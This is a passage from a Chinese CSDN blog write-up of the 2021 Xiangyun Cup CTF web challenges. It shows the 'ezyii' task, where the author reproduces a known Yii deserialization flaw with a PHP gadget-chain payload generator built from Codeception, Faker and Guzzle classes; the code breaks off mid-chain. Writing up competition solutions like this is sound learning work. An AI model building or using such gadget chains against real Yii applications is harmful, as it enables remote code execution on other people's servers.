WP-2021祥云杯

最新推荐文章于 2022-11-13 16:24:50 发布

「已注销」

最新推荐文章于 2022-11-13 16:24:50 发布

阅读量687

点赞数

分类专栏：比赛WP 文章标签：安全 web安全

本文链接：https://blog.csdn.net/ce666666/article/details/119893254

版权

本文是关于WP-2021祥云杯的安全比赛总结，重点关注Web安全领域的挑战。文章讨论了Yii框架的最新反序列化漏洞，提供了复现和利用的方法，并介绍了文件包含session条件竞争的考点，分享了相关资源和解决方案。作者认为题目主要侧重于代码审计，表示自己仍需进一步学习。

摘要由CSDN通过智能技术生成

前言

好多审计题，懒狗的我，自愧不如。赛后借助各位师傅的wp进行复现，不会的题目赛后加强学习知识点，盲看没什么用。

链接

复现平台：https://buuoj.cn/

WEB

ezyii

考点：yii最新反序列化漏洞
这题就是网上有的yii链子，1day好像。利用这个https://xz.aliyun.com/t/9948#toc-6直接拿。
代码

<?php
namespace Codeception\Extension{
   
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
   
        protected $output;
        private $processes = [];
        public function __construct(){
   
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('Firebasky');
        }
    }

    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker<